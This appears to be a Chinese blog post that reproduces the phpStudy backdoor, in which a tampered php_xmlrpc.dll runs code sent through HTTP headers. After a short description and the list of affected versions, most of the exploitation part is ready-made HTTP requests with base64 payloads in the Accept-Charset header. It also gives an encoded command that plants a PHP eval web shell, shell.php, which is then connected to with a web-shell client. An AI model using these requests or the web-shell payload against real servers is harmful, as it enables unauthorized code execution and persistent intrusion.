Phpstudy后门漏洞复现

发布于:2022-12-22 ⋅ 阅读:(659) ⋅ 点赞:(0)

一、漏洞简介

2019年9月20日,网上传出 phpStudy 软件存在,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏,经过分析除了有反向连接木马之外,还可以正向执行任意php代码。

二、漏洞影响版本

Phpstudy 2016

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

Phpstudy 2018 的php-5.2.17、php-5.4.45

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll 
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll、

三、复现过程

分析过程

  • 1、定位特征字符串位置

  • 2、静态分析传参数据

  • 3、动态调试构造传参内容

php_xmlrpc.dll

PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

定位特征字符串位置

根据\@eval()这个代码执行函数定位到引用位置。\@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0

 

静态分析传参数据

通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。

第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。

构造HTTP头,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。

GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….

 

第二部分,反向连接:判断ACCEPT_ENCODING如果等于compress,gzip,通过关键部分\@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。

构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。

 GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding:compress,gzip
….

 抓包加入accept-charset请求头,输入phpinfo();编码后的结果

 

 验证漏洞

 

# 写入命令:
fputs(fopen('C:\phpStudy\PHPTutorial\WWW\shell.php','w'),'<?php @eval($_POST[1]); ?>');

# Base64编码命令:
ZnB1dHMoZm9wZW4oJ0M6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnLCd3JyksJzw/cGhwIEBldmFsKCRfUE9TVFsxXSk7ID8+Jyk7

 蚁剑连接webshell

 

                                                         —————————只有流过血的手指,才能弹出世间的绝唱                                                                                                                                                                                                                                                                                     ———————泰戈尔

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到